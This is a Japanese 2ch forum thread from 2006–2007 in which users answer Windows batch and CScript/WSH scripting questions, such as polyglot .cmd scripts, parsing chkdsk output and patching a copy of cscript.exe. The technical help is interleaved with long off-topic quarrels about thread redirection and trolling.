http://pc8.2ch.net/test/read.cgi/win/1152544955/
166デフォルトの名無しさん:2006/12/19(火) 18:05:23
別の板にスレ作っとくからそこへ鯉♪
スレ板名を記入しなくても分かるよな

スレッド汚してスマソかった。m(__)m
167デフォルトの名無しさん:2006/12/19(火) 18:06:04
>>164
とりあえずdel i は不要だな

かなりの確率でトロイだと思われ
168デフォルトの名無しさん:2006/12/19(火) 18:34:43
>>161
WSHを聞くなら、こっちが罵倒されないだけ、いいかも。
http://www.roy.hi-ho.ne.jp/mutaguchi/bbs/index.shtml
169デフォルトの名無しさん:2006/12/19(火) 18:43:51
>167
トロイだろうなorz
>168
どうもありがとうです

別板にスレ作ったが奴は来ないがルータ初期化してVNC切ったから
細かい事は読み取れないのか?分からなかったらメルアド知ってるだろw
そこにメール汁!!!あ、kenziの方な他はあまり見ないから。
170デフォルトの名無しさん:2006/12/19(火) 20:43:19
>>165は荒しなので無視してください
171デフォルトの名無しさん:2006/12/19(火) 21:48:46
バッチの本スレ↓

初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
http://pc8.2ch.net/test/read.cgi/win/1152544955/
172デフォルトの名無しさん:2006/12/19(火) 21:53:06
>>171のスレは「本スレ」ではありません。だまされないように。
173デフォルトの名無しさん:2006/12/19(火) 22:07:28
>>172は嘘です。だまされないように。
174デフォルトの名無しさん:2006/12/19(火) 22:13:25
バッチファイルプログラミング 3.bat
http://pc8.2ch.net/test/read.cgi/tech/1148485555/ プログラミング限定

初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
http://pc8.2ch.net/test/read.cgi/win/1152544955/ バッチならなんでもOK
175デフォルトの名無しさん:2006/12/19(火) 22:16:55
それくらいの熱心さであっちに書き込んだらよいのに。
あっちに書くほどの技術内容がないから、こっちに無内容なこと書くわけ?
176デフォルトの名無しさん:2006/12/19(火) 22:18:33
執拗に同じものを貼る人はある種の病気なんだろうな。
177デフォルトの名無しさん:2006/12/19(火) 22:24:17
病気なら仕方がないか。早く直ってね。
それまで、みんな温かく見守ってあげようよ。
背景輻射、ブラックマターだと思って気にしないこと。
それが一番病人にいいんじゃないの。
178デフォルトの名無しさん:2006/12/19(火) 22:32:17
>>175-177
書きたいことは一度に書け。
もしかして他人の書き込みを装ったつもり?
179デフォルトの名無しさん:2006/12/19(火) 22:34:50
>>178
2,3人いるんだろ。
病人は早く寝たほうがいいですよ。
180デフォルトの名無しさん:2006/12/19(火) 22:42:19
心にやましいことがなければ、病気だと思う奴のことなんか放置すればいいのに
やましいことをしている自覚があるから、反論を書かずにはいられないんですね。
181デフォルトの名無しさん:2006/12/19(火) 22:46:53
>>178
本当の意図は何か、はっきり言ったらすっきりするんじゃないか?
>>1が嫌いとか、>>1にバカにされたことを根に持ってるとか。
引き合いに出して、ごめんね>>1 それくらいのことしか考えられないもんね。
182あぼーん:あぼーん
あぼーん
183デフォルトの名無しさん:2006/12/19(火) 22:54:44
181
184デフォルトの名無しさん:2006/12/19(火) 22:55:01
>>180
>心にやましいこと
それだよ、それ。想像でいいから、何だと思う?
185デフォルトの名無しさん:2006/12/19(火) 23:01:15
( ̄ー ̄)ニヤリ
186デフォルトの名無しさん:2006/12/19(火) 23:46:08
スレ立てから200日以上経過しているのに200レス逝かないスレ、
つまり1日平均1レス以下という勢いのスレで、
殆ど同じ思想の書き込みが、数分間隔で3連投。
同じような思想を持った人が2,3人居るという点は否定しないが
全てsageなので、スレが目立つ位置に上がったわけでもないのに
その3人が思想だけではなく文の特徴まで同じくして
このタイミングで書き込みってのは、さすがに…( ´_ゝ`)
187デフォルトの名無しさん:2006/12/19(火) 23:51:04
>>186
専ブラ使ってれば別に不思議でも何でもないのだが
188デフォルトの名無しさん:2006/12/19(火) 23:54:16
技術的内容のない書き込みは無用に、という程度のことを
思想とまで評価していただき、痛み入ります。
で、
自分のために書き込んでおられるなら、他人への迷惑となるのでお止めください。
他人のために書き込んでおられるなら、他人が無用と言っておりますのでお止めください。
189デフォルトの名無しさん:2006/12/19(火) 23:56:28
たった数分の間に、同じ思想と同じ文章癖を持つ3人が
2chブラウザでプログラム板かこのスレが入ったお気に入りグループの更新を実行。
板垣恵介ならシンクロニシティだって言い出しそうだなw

> 他人のために書き込んでおられるなら、他人が無用と言っておりますのでお止めください。
「図星を突かれて痛いので、もうやめてください」と解釈しました。
190デフォルトの名無しさん:2006/12/20(水) 00:04:43
>>189
どう解釈してもいいけれど、今後は無用な誘導はご遠慮ください。
191デフォルトの名無しさん:2006/12/20(水) 00:06:04
type con >nul
192デフォルトの名無しさん:2006/12/20(水) 00:07:13
CLS
193デフォルトの名無しさん:2006/12/20(水) 00:09:25
このスレはこっちへ移動しました↓

初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
http://pc8.2ch.net/test/read.cgi/win/1152544955/ バッチならなんでもOK
194デフォルトの名無しさん:2006/12/20(水) 00:13:27
>>193はそっちのスレに移動してここに戻ってこないでください。
今後このスレには来ないでください。
195デフォルトの名無しさん:2006/12/20(水) 00:14:40
>>191
そのコマンドラインは何を言っても無駄ってことかなw
196デフォルトの名無しさん:2006/12/20(水) 00:20:36
>>192
折角、水に流して、と思ったのに。
197デフォルトの名無しさん:2006/12/24(日) 10:38:42
cls
198デフォルトの名無しさん:2006/12/24(日) 10:39:59
doskey /history
199あぼーん:あぼーん
あぼーん
200デフォルトの名無しさん:2006/12/24(日) 16:54:22
バッチの質問はこのスレでok
201デフォルトの名無しさん:2006/12/24(日) 17:27:14
ここは誘導するだけ
バッチとはそういうもの
202デフォルトの名無しさん:2006/12/24(日) 18:59:14
そろそろ通報するか
十分同一コピペになっただろ。
203デフォルトの名無しさん:2006/12/24(日) 19:09:53
>>202
残念ながらこの程度は全然問題ないよ。
試しに報告してみれば?
自分が過剰に反応してるだけだって思い知れるから。
204デフォルトの名無しさん:2006/12/24(日) 19:15:40
了解
ただ今、荒らしのレス番、集計中。
ダメ元で報告してくるよ。
205デフォルトの名無しさん:2006/12/30(土) 09:46:59
age
206デフォルトの名無しさん:2006/12/30(土) 09:47:54
>>200
OK
207デフォルトの名無しさん:2006/12/30(土) 13:54:19
プログラミング以外はスレ違い
バッチの質問はWindows板へ↓

初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
http://pc8.2ch.net/test/read.cgi/win/1152544955/ バッチならなんでもOK
208デフォルトの名無しさん:2006/12/30(土) 13:57:51
>>207
スレ荒らすな
209デフォルトの名無しさん:2006/12/30(土) 14:17:37
>>208
スレ荒らすな
210デフォルトの名無しさん:2006/12/30(土) 17:21:27
2chの冬、厨房の冬。
211デフォルトの名無しさん:2006/12/30(土) 17:39:46
 
212デフォルトの名無しさん:2007/01/03(水) 15:23:09
hosyu
213デフォルトの名無しさん:2007/01/04(木) 14:55:48
スクリプト側で、俺はCScript専用だぜゴルァって言う方法ないでつか?
214デフォルトの名無しさん:2007/01/04(木) 15:29:35
新鯖に移転ですー
バッチの使い方の質問はWindows板へ↓

初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
http://pc10.2ch.net/test/read.cgi/win/1152544955/ バッチならなんでもOK
215デフォルトの名無しさん:2007/01/04(木) 18:53:56
>>214は荒らしです
216デフォルトの名無しさん:2007/01/04(木) 19:01:18
お前も相手にするなよ
217デフォルトの名無しさん:2007/01/04(木) 19:23:09
>>215は荒らしです
218デフォルトの名無しさん:2007/01/04(木) 20:32:58
>>213
>>65にも出てるけど,JScriptならスクリプトの拡張子を .cmd に
変えて↓のようにする手があります。VBSの場合も似たようなテクが
あったはず。

@if (0==1) rem
@CScript.exe //nologo //e:jscript %~f0 %*
@exit /b & @end
var args = WScript.Arguments;
for (var i = 0; i < args.length; i++)
    WScript.Echo(args(i));
219デフォルトの名無しさん:2007/01/04(木) 22:05:56
スレ違い
220デフォルトの名無しさん:2007/01/04(木) 22:18:20
>>213
If CreateObject("Scripting.FileSystemObject").GetBaseName(WScript.FullName) <> "cscript" Then
  WScript.Echo "俺はCScript専用だぜゴルァ"
End If

>>219
過疎スレで、細かいこと言うなよ。
221デフォルトの名無しさん:2007/01/04(木) 23:05:37
>>219
>>218はバッチファイルなのでスレ違いではないですね
222デフォルトの名無しさん:2007/01/04(木) 23:30:47
バッチでもいいし、バッチ以外もOK↓

初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
http://pc10.2ch.net/test/read.cgi/win/1152544955/ バッチならなんでもOK
223デフォルトの名無しさん:2007/01/04(木) 23:48:28
バッチはこのスレでOKです。
224デフォルトの名無しさん:2007/01/04(木) 23:50:19
スレ違いは >>222
荒らしが誘導するスレなんかで書き込みしたくねぇ ('A`)
225デフォルトの名無しさん:2007/01/05(金) 08:49:09
プログラミング以外はこのスレではNGです。
226デフォルトの名無しさん:2007/01/05(金) 20:40:39
バッチならOKだよ
227デフォルトの名無しさん:2007/01/13(土) 00:40:54
net send age
228デフォルトの名無しさん:2007/01/15(月) 21:24:15
バッチファイルのショートカットのアイコンの画像はどう変えればいいんでしょうか?
コマンドでかえられれば嬉しいんですけど・・・
229デフォルトの名無しさん:2007/01/15(月) 21:37:54
パソコンの使い方の質問は板違い
こっちへ行け↓

初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
http://pc10.2ch.net/test/read.cgi/win/1152544955/ バッチならなんでもOK
230デフォルトの名無しさん:2007/01/15(月) 21:40:18
ここの方がいいか↓

PC初心者
http://pc9.2ch.net/pcqa/
231デフォルトの名無しさん:2007/01/15(月) 21:44:15
>>229
あなたは荒しと見なしますのでこのスレに二度と書き込まないでくださいね。
232デフォルトの名無しさん:2007/01/15(月) 23:17:49
既に通報済み
233デフォルトの名無しさん:2007/01/16(火) 04:40:44
それでも対処されないのは、その行為が問題ないと認識されたから
234デフォルトの名無しさん:2007/01/16(火) 21:00:36
↑真性DQN
法を犯さなければ何をやってもいいと思ってる。
こういう奴が、たばこのポイ捨てとか平気でやるんだな。
235デフォルトの名無しさん:2007/01/17(水) 05:44:56
期待外れでゴメン
俺、たばこ吸わないw
236デフォルトの名無しさん:2007/01/18(木) 19:39:36
↑童貞・短小・包茎www
237デフォルトの名無しさん:2007/01/19(金) 02:21:23
期待外れでゴメン
1/6しか当たってない
童貞→残念ながら童貞じゃない
短小→デカくは無いが平均並(14.5cm*4.4cm)のサイズはある
包茎→仮性包茎なので半分正解
238デフォルトの名無しさん:2007/01/19(金) 18:43:33
>>218
REM:[email protected] //E:VBS //NoLogo "%~f0" %* & GOTO :EOF
だけど、これが限界でREMのエコーが消せない。
239デフォルトの名無しさん:2007/01/19(金) 18:55:47
ついにスレ違いのネタしかなくなったか
過疎スレ哀れ
240デフォルトの名無しさん:2007/01/19(金) 19:20:52
>>228
つ shortcut.exe or cscript.exe
241デフォルトの名無しさん:2007/01/19(金) 19:43:12
242デフォルトの名無しさん:2007/01/20(土) 01:05:37
別にスレ違いではないな。
243デフォルトの名無しさん:2007/01/20(土) 06:16:33
なんだCScriptやってるスレがあったのか
244デフォルトの名無しさん:2007/01/20(土) 09:35:03
荒らしは童貞短小包茎
245デフォルトの名無しさん:2007/01/20(土) 15:09:51
>>220
過疎スレで、細かいこと言って恐縮ですが、
CSCRIPT.EXE hoge.vbs

"俺はCScript専用だぜゴルァ"
になりません?
LCaseが必要なのでは?
246デフォルトの名無しさん:2007/01/20(土) 16:36:41
CSCRIPT.EXE を一々打つのが面倒ってわけさ。
だからバッチにしたり、>>220のようなことをやる。
247デフォルトの名無しさん:2007/01/20(土) 17:13:16
過疎スレで人がいないのをいいことにスレ違いを続けるなよ
他に適当なスレがちゃんとあるだろ

WSH(・∀・)スレッド!
http://pc10.2ch.net/test/read.cgi/tech/1055075469/740-741

初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
http://pc10.2ch.net/test/read.cgi/win/1152544955/ バッチならなんでもOK
248デフォルトの名無しさん:2007/01/20(土) 19:11:19
>>247
書き込むなと言ってるのに何で書き込んでるんだよ、荒しさん
249デフォルトの名無しさん:2007/01/20(土) 20:21:30
>>248
荒しを無視できない荒しさん、こんにちは
こちら同じく荒しを無視できない荒しでつ
250デフォルトの名無しさん:2007/01/20(土) 20:33:52
BU.COMを使っていろいろやってた頃が懐かしい。
251デフォルトの名無しさん:2007/01/20(土) 23:07:45
>>213
CreateObject("Scripting.FileSystemObject").GetStandardStream(0,True)
と書くだけで代替できる
あるいは
If LCase(Right(WScript.FullName,11)) <> "cscript.exe" Then
WScript.Echo "俺はCScript専用だぜゴルァ"
End If
ならFSOを使わなくてもできる
252デフォルトの名無しさん:2007/01/20(土) 23:10:38
結局バッチだけでプログラミングは不可能ということか
253デフォルトの名無しさん:2007/01/21(日) 16:16:29
.WSFを.CMDにしてしまう、とか

@ECHO OFF
COPY "%~f0" "%~dpn0.wsf" >NUL
CScript.exe //NoLogo "%~dpn0.wsf"
DEL "%~dpn0.wsf"
GOTO :EOF
<job>
<script Language="vbscript">
WScript.Echo "俺はCScript専用だぜゴルァ"
</script>
</job>
254デフォルトの名無しさん:2007/01/21(日) 16:42:37
バッチ以外のスクリプトと組み合わせて使うならこっちのスレが適切↓

初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
http://pc10.2ch.net/test/read.cgi/win/1152544955/ バッチならなんでもOK
DOS由来コマンドだけでなく、Windows バージョンアップのたびに拡充されてきたコマンド、
wsh(cscript)、cygwin、Resource Kit、Support Tools、その他のフリーソフト等ふくめ
コマンドラインインタフェースに関するネタならなんでもOK。
255デフォルトの名無しさん:2007/01/21(日) 18:09:47
>>254
うるせーんだよ、タコ
消えな!
256デフォルトの名無しさん:2007/01/21(日) 18:24:54
>>228
shortcut.exeは入手困難かも

アイコン変更.cmd ショートカット.lnk shell32.dll,1

@if(0)==(0) ECHO OFF
CScript.exe //NoLogo //E:JScript "%~f0" %*
GOTO :EOF
@end
var Link=new ActiveXObject('WScript.Shell').CreateShortCut(WScript.Arguments(0));
Link.IconLocation=WScript.Arguments(1);
Link.Save();
257デフォルトの名無しさん:2007/01/21(日) 18:55:38
バッチ以外のスクリプトはスレ違い
258:2007/01/21(日) 18:59:34
>>1を100回読み直して来い
259デフォルトの名無しさん:2007/01/21(日) 19:06:44
>・ファイル拡張子が ".bat"

だめじゃんww
260デフォルトの名無しさん:2007/01/21(日) 19:08:18
ヒント:>>6
261デフォルトの名無しさん:2007/01/21(日) 19:08:20
>>1の主張は板違い

この板はプログラムを作る人のための板です。

あらゆる質問はまずすれ立てるまでもない質問はここでスレにしてください。

その他、お勉強ページへのリンクスレ、
推薦図書・必読書スレ
もあります。

プログラム・ソフトの使い方は PC 初心者板やソフトウェア板へ。
ウイルス、ハッキング・クラッキングを求めるような発言は禁止です。
Javascript は Web 制作板、CGI は Web プログラミング板へ。
業界談義、愚痴はプログラマ板へどうぞ。
ゲーム関係の話題はゲーム製作板へどうぞ。
ネタ、板とは関係の無い話題はご遠慮ください。
262デフォルトの名無しさん:2007/01/21(日) 19:09:59
プログラム・ソフトの使い方は PC 初心者板やソフトウェア板へ。
プログラム・ソフトの使い方は PC 初心者板やソフトウェア板へ。
プログラム・ソフトの使い方は PC 初心者板やソフトウェア板へ。
プログラム・ソフトの使い方は PC 初心者板やソフトウェア板へ。
プログラム・ソフトの使い方は PC 初心者板やソフトウェア板へ。
プログラム・ソフトの使い方は PC 初心者板やソフトウェア板へ。
プログラム・ソフトの使い方は PC 初心者板やソフトウェア板へ。
プログラム・ソフトの使い方は PC 初心者板やソフトウェア板へ。
プログラム・ソフトの使い方は PC 初心者板やソフトウェア板へ。
プログラム・ソフトの使い方は PC 初心者板やソフトウェア板へ。
263デフォルトの名無しさん:2007/01/21(日) 19:27:33
荒らしは、童貞短小包茎
264デフォルトの名無しさん:2007/01/21(日) 19:29:09
>>256 GJ。このスレ的に問題ない。
265デフォルトの名無しさん:2007/01/21(日) 19:29:38
266デフォルトの名無しさん:2007/01/21(日) 19:38:05
荒らしがでたらめなテンプレで次スレ立てた場合はしょうがなく利用される場合もある。
1がこのスレを仕切る権利をもっているわけではないからな
267デフォルトの名無しさん:2007/01/21(日) 19:41:55
どうせ >>181 あたりが図星だろ。
器のちっちぇえ野郎。
268デフォルトの名無しさん:2007/01/21(日) 19:48:55
>>264
バッチプログラミングなのにCScriptで作ってバッチから呼んでるだけって
ほとんど詐欺だと思わないか?
例えばVCで頼んだプログラムの中味がVBだったらどう思う?
269デフォルトの名無しさん:2007/01/21(日) 19:50:53
動けばよいよい。
270デフォルトの名無しさん:2007/01/21(日) 19:56:17
@REM 荒しの観察が面白いです。
271デフォルトの名無しさん:2007/01/21(日) 19:58:45
CScriptで直接やればいいのにそうしないのは、
CScriptで直接やってしまうと明らかにスレ違いになるからだろ
どう見ても荒らしだな
272デフォルトの名無しさん:2007/01/21(日) 20:18:57
>>268
しかしVBで頼んだプログラムの中身がVCでも気にしない
273デフォルトの名無しさん:2007/01/21(日) 23:27:21
質問させてください。
テキストファイルにある特定の語句をSETコマンドで
変数の値として代入するには、どのような書式を記述すれば
良いでしょうか?
274あぼーん:あぼーん
あぼーん
275デフォルトの名無しさん:2007/01/21(日) 23:36:08
>>273
特定のファイルはテキストファイルの中にどのように入ってますか?

※頭のおかしいひとは無視しましょう。
276デフォルトの名無しさん:2007/01/21(日) 23:42:28
ある特定の語句をテキストファイルに代入するのです
277273:2007/01/21(日) 23:49:45
>>275
ディスク容量のチェックバッチを作りたいと思ってます。
そこで、chkdskの内容をリダイレクトして、
そのテキストファイルの「全ディスク領域」や「使用可能領域」で表示される
値を変数に入れて、今の使用率を表示させたいと思います。
こういった場合、どうやってSetコマンドを使用すれば良いでしょうか。
278デフォルトの名無しさん:2007/01/21(日) 23:50:50
「テキストファイルにある,特定の語句」でなくて
「テキストファイルに,ある特定の語句を」でしたか。

echo %A% > file.txt

とやれば,環境変数Aの内容が file.txt に書き出されるけれども
279273:2007/01/21(日) 23:55:06
>>278
ありがとうございます。
ご助言頂きたいのは上の方です。
「テキストファイルにある,特定の語句」でなくて


ファイル システムに問題が見つかりました。
CHKDSK を /F オプションを使って実行して、問題を修正してください。

(前略)
80405293 KB : 全ディスク領域
80017288 KB : 87864 個のファイル
29896 KB : 8242 個のインデックス
0 KB : 不良セクタ
174373 KB : システムで使用中
65536 KB : ログ ファイルが使用
183736 KB : 使用可能領域
(攻略)

上のようなテキストがあった場合、
全ディスク領域の「80405293」と
使用可能領域の「174373」の値を変数にSETするにはどうすれば良いでしょうか
280デフォルトの名無しさん:2007/01/22(月) 00:22:59
>>279
こんな感じでしょうか。2行目等は適当に変えてください。
chkdsk.txtという一時ファイルを作ってます。

@echo off
chkdsk /i /c d: > chkdsk.txt
for /f "usebackq tokens=1,2,4" %%i in (`find "領域" chkdsk.txt`) do if /%%j==/KB set %%k=%%i
echo 全ディスク領域: %全ディスク領域%
echo 使用可能領域 : %使用可能領域%
281273:2007/01/22(月) 05:33:37
>>280
ご丁寧にありがとうございます!
頂いた回答で作れそうです。
助かりました。多謝!!

282デフォルトの名無しさん:2007/01/22(月) 09:49:44
rar zip lzhがいっぱいあって中を調べたいんだけど
解凍すると時間かかるからdirの結果みたいなのがほしい。
バッチでできる?
283デフォルトの名無しさん:2007/01/22(月) 09:58:19
そういうコンソールツールを使えば出来るけど本来の機能だけでは無理
コンソールツールの使い方とかはスレ違いなので此処では聞かないように
284デフォルトの名無しさん:2007/01/22(月) 10:42:51
rar, zip, lzhすべてに対応してるコマンドラインツールがあれば
バッチ作るまでもなく簡単ですけどね。
そういうのがなければ、拡張子で判断して処理を分けるバッチ
を作れば良さそう。
285あぼーん:あぼーん
あぼーん
286デフォルトの名無しさん:2007/01/22(月) 14:21:25
>>273
> ディスク容量のチェックバッチを作りたいと思ってます。
> そこで、chkdskの内容をリダイレクトして、
> そのテキストファイルの「全ディスク領域」や「使用可能領域」で表示される

そのためにchkdsk使うのは重たくないかい?
WSH利用したほうが。。。
287デフォルトの名無しさん:2007/01/22(月) 15:53:50
嵐は他にやることがないらしい。
288デフォルトの名無しさん:2007/01/22(月) 15:56:43
>>287>>286宛ではないので誤解なく
289デフォルトの名無しさん:2007/01/22(月) 18:00:04
こうするとコマンドエコーなし.CMD

@MORE +1 "%~f0" >"%~f0:.VBS" & CScript.exe //NoLogo "%~f0:.VBS" %* & GOTO :EOF
WScript.Echo "俺はCScript専用だぜゴルァ"
290デフォルトの名無しさん:2007/01/22(月) 18:34:43
>>289
moreを使う手があったか。
一々vbsファイルを生成するのはアレだけど面白い
291デフォルトの名無しさん:2007/01/22(月) 18:56:08
スレ違い
292デフォルトの名無しさん:2007/01/22(月) 18:59:15
バッチだから全然問題ない
293デフォルトの名無しさん:2007/01/22(月) 19:20:00
他に適切な板やスレがあると「板やスレ主旨と違う投稿」になる
294デフォルトの名無しさん:2007/01/22(月) 19:23:40
板やスレの趣旨には合ってます。
295デフォルトの名無しさん:2007/01/22(月) 19:35:46
多少関係があっても他にふさわしい板やスレがある
296デフォルトの名無しさん:2007/01/22(月) 23:13:41
荒らしは、働いてないんだなw
嵐のプロフィールに、童貞短小包茎と無職も加えておこう・・・
297デフォルトの名無しさん:2007/01/22(月) 23:16:50
こういう病気なら働けないだろうな
298デフォルトの名無しさん:2007/01/25(木) 22:01:57
バッチファイル初心者です。
dirコマンドで引っ張り出した、ファイル名リスト(flist.txt)があります。
これを一行ずつ参照して内容を表示する、という作業を行うためのバッチファイルを作成しています。

for /f %%i in (flist.txt) do type %%i

ところが、ファイル名リストに記述されているファイル名やパスに半角空白が含まれているため、エラーになってしまいます。
どうすればいいのですか?
299デフォルトの名無しさん:2007/01/25(木) 22:19:48
"delims="
300デフォルトの名無しさん:2007/01/25(木) 23:08:01
そんな超初心者はWindows板へ

初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
http://pc10.2ch.net/test/read.cgi/win/1152544955/ バッチならなんでもOK
DOS由来コマンドだけでなく、Windows バージョンアップのたびに拡充されてきたコマンド、
wsh(cscript)、cygwin、Resource Kit、Support Tools、その他のフリーソフト等ふくめ
コマンドラインインタフェースに関するネタならなんでもOK。
301デフォルトの名無しさん:2007/01/25(木) 23:19:51
>>298
for /f %%i in (flist.txt) do type "%%i"
では?
302デフォルトの名無しさん:2007/01/25(木) 23:23:18
頭のおかしい人まだいたのか
303デフォルトの名無しさん:2007/01/26(金) 07:01:24
>>300

なんで?
304デフォルトの名無しさん:2007/01/26(金) 08:37:27
>>303
>>300は病気だから
305デフォルトの名無しさん:2007/01/26(金) 10:47:05
>>304

なんで?
306デフォルトの名無しさん:2007/01/28(日) 10:13:01
質問します。
各言語のマニュアルを参照するバッチを書いていたのですが
第二引数を入れた場合と入れなかった場合で
変数の展開に差が出てしまいます。
setコマンドではちゃんと反映されているのですが…?

> type man.bat
@echo off
setlocal
set lang=%1
set page=%2
if "%lang%" == "perl" (
  if "%page%" == "" set page=perl
  set page
  echo %podpath%\%page%.pod
  more %podpath%\%page%.pod
)
endlocal

> man perl perl
page=perl
C:\Perl\〜\perl.pod
【ファイルの内容】

> man perl
page=perl
C:\Perl\〜\.pod
ファイル C:\Perl\〜\.pod にアクセスできません
307デフォルトの名無しさん:2007/01/28(日) 10:35:54
>>306
setlocal → setlocal EnableDelayedExpansion
echo %podpath%\%page%.pod → echo %podpath%\!page!.pod
more %podpath%\%page%.pod → more %podpath%\!page!.pod

詳細は set /? で「遅延環境変数の展開」を参照のこと。
308デフォルトの名無しさん:2007/01/28(日) 13:45:42
こんな過疎スレより本スレへ行った方が幸せになれるでしょう

初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
http://pc10.2ch.net/test/read.cgi/win/1152544955/ バッチならなんでもOK
DOS由来コマンドだけでなく、Windows バージョンアップのたびに拡充されてきたコマンド、
wsh(cscript)、cygwin、Resource Kit、Support Tools、その他のフリーソフト等ふくめ
コマンドラインインタフェースに関するネタならなんでもOK。
309デフォルトの名無しさん:2007/01/28(日) 13:55:39
日付で見たらそっちの方が過疎スレだし、
レベルの低いWin板なんか行きたくない。
310デフォルトの名無しさん:2007/01/28(日) 14:23:23
ここは5月に立って300ちょっと
windows板の方は7月に立って700以上
どう考えても向こうの方が多いだろ
それにここなんか>309みたいなスレに関係ない書き込みがほとんどだ
311306:2007/01/28(日) 14:32:23
>>307
ありがとうございます。
ifの中の展開はifの時点で全て展開されてしまうのですね。

>>308
今度コマンドプロンプトの操作についての質問があればそちらを使いますね。
ただ、今回はバッチスクリプトの話題なのでこちらを選びました。

>>309
あそこはあそこでレベル高い方もいらっしゃるので
そう1括りにするのは如何かと思います。
312デフォルトの名無しさん:2007/01/28(日) 15:06:45
>>311
というか、誘導厨はこのスレの荒らしだから
必要なくても、書き込みがあるごとに荒らしにきてる
わけよ。
別に向こうでなくても、こっちでもどっちでもいいんだけどさ。
誘導厨は、手の付けられない半病的な奴だから、
あまり庇わなくていいよ。
313311:2007/01/28(日) 16:55:59
別に私は誘導厨を庇ってはいませんよ。
庇ったとすればWin板で厨に囲まれながら
普通の活動をしてる人達を、ですね。
314デフォルトの名無しさん:2007/01/28(日) 21:05:48
フォルダの中にある特定の拡張子のファイルをこちらから用意したa.exeに通したいんですが
フォルダの中にフォルダがあったりする状況です。
よろしければ教えてください。
315デフォルトの名無しさん:2007/01/28(日) 21:30:53
>>314
@echo off
setlocal enableextensions
for /F "usebackq delims=" %%n in (`dir /S /B /A-D *.txt`) do a.exe "%%n"
316あぼーん:あぼーん
あぼーん
317デフォルトの名無しさん:2007/01/28(日) 21:57:50
>>315
いいね、これ。
314じゃないけど、使わせてもらうよ。
318デフォルトの名無しさん:2007/01/28(日) 22:15:36
病人に対して不謹慎だけど笑えてくる
319デフォルトの名無しさん:2007/01/29(月) 00:16:50
>>315
何でそんな面倒なことを...

for /r . %f in (*.txt) do a.exe "%f"

じゃだめんなんか?
320デフォルトの名無しさん:2007/01/29(月) 06:06:42
括弧内の変数展開が先に一括でされるのは面白い仕様ですね。
変数やカレントディレクトリをローカルからグローバルに渡すのは
今まで出来ないと思ってたんですが
(endlocal
set %globalvar%=%localvar%)
としたら出来ました
321デフォルトの名無しさん:2007/01/31(水) 02:16:22
誘導厨的にDEBUGコマンドは何に入るんだろ
あれ確かシェル組み込みのコマンドだよな?
322デフォルトの名無しさん:2007/01/31(水) 11:02:08
age
323デフォルトの名無しさん:2007/01/31(水) 11:10:17
現在このスレは使われていません
324デフォルトの名無しさん:2007/01/31(水) 13:36:14
>>321
シェル組み込みのコマンド、っていう表現は微妙
OS標準の外部コマンド。

つか、DEBUGコマンドでどんなバッチファイルを作るんだ?
アセンブラ入力でプログラム作るか、バイナリエディタ代わりに
使うくらいしかなさそうだが、アセンブラを使ったら
アセンブラスレへ誘導されるんじゃね?
325デフォルトの名無しさん:2007/01/31(水) 13:51:17
>324
あれ外部コマンドだったのか…
確かにXPで見たらdebug.exeがあったが
昔は内部コマンドだった気がするのだけれど気のせいか。
326デフォルトの名無しさん:2007/01/31(水) 14:43:01
バッチ - batch 必要な指示をあらかじめすべて与えておき、これを一挙に処理すること。自動処理。

バッチファイル
MS-DOSやWindowsで複数の処理をまとめて行う(バッチ処理)ときに使われる、
起動するプログラムを順に列挙したファイル。
バッチファイルには「.BAT」という拡張子がつく。
327デフォルトの名無しさん:2007/02/01(木) 03:59:21
text-binaryコンバータであるISHはそれ自身のバイナリイメージをdebug.exeでビルドする形で配布されてなかったっけ?
328あぼーん:あぼーん
あぼーん
329デフォルトの名無しさん:2007/02/01(木) 12:43:34
>>327
されてた、懐かしいな。
まだASCIIネットやら草の根ネットやらでIP接続なんて夢のまた夢だった頃だ。

今そんなバッチファイル投げたら怪しすぎるよな。
330デフォルトの名無しさん:2007/02/01(木) 17:38:36
debug.exeを使って、cscript.exeのファイルのオフセット
000017B2: 77 63
wをcにメモリ上で書き換えて実行なんてできる?
それを>>253のバッチ部分に組み込めるといいかも。
331デフォルトの名無しさん:2007/02/01(木) 18:49:46
そんなの直接コンソール叩けばいいだけだろ
332デフォルトの名無しさん:2007/02/01(木) 20:02:50
@echo off
copy %SYSTEMROOT%\system32\cscript.exe cscript.bin
echo e 18b2 63 > c.tmp
echo w >> c.tmp
echo q >> c.tmp
debug cscript.bin < c.tmp
ren cscript.bin cscript.exe
del c.tmp
333デフォルトの名無しさん:2007/02/02(金) 08:02:43
>>332
copyしてrenじゃダメだろ。
334デフォルトの名無しさん:2007/02/02(金) 13:43:59
あげー
335あぼーん:あぼーん
あぼーん
336デフォルトの名無しさん:2007/02/02(金) 17:13:30
cscript.exeがアップデートされなきゃいいけれど
337デフォルトの名無しさん:2007/02/02(金) 17:36:21
debug.exeじゃ32bitアプリ扱えないみたい
338デフォルトの名無しさん:2007/02/03(土) 17:11:01
debug.exeは諦めて、.wsfを.cmdに書き換え
ファイル CSCRIPT.EXE と CSCRIPT2.EXE を比較しています
000017B2: 77 63
000017B4: 73 6D
000017B6: 66 64

@ECHO OFF
CScript2.exe //NoLogo "%~f0" %*
GOTO :EOF
<job>
<script language="vbscript">
WScript.Echo "あいうえお"
</script>
</job>

.csfとかに書き換えて関連付けるとよいかも
339デフォルトの名無しさん:2007/02/03(土) 17:28:00
GOTO :EOF 以降はただのテキストデータにすぎないし、
バッチの実質的な中味は1行だけか
とてもプログラミングとは呼べないな
340デフォルトの名無しさん:2007/02/03(土) 17:33:35
どう見てもプログラミングじゃないか
341デフォルトの名無しさん:2007/02/03(土) 17:45:04
>>339
じゃあ何かプログラミングと呼べるものを見せてくれ。
342デフォルトの名無しさん:2007/02/03(土) 17:47:42
どういう使い道があるか分かりませんが、
ファイル CMD.EXE と CMDX.EXE を比較しています
00037596: 42 4A
00037598: 41 53
0003759A: 54 44

CMDX.EXE /C hoge.JSD
なんてことができます。
343デフォルトの名無しさん:2007/02/03(土) 18:13:52
バッチだけじゃプログラミングは不可能ということだね
344デフォルトの名無しさん:2007/02/03(土) 21:27:22
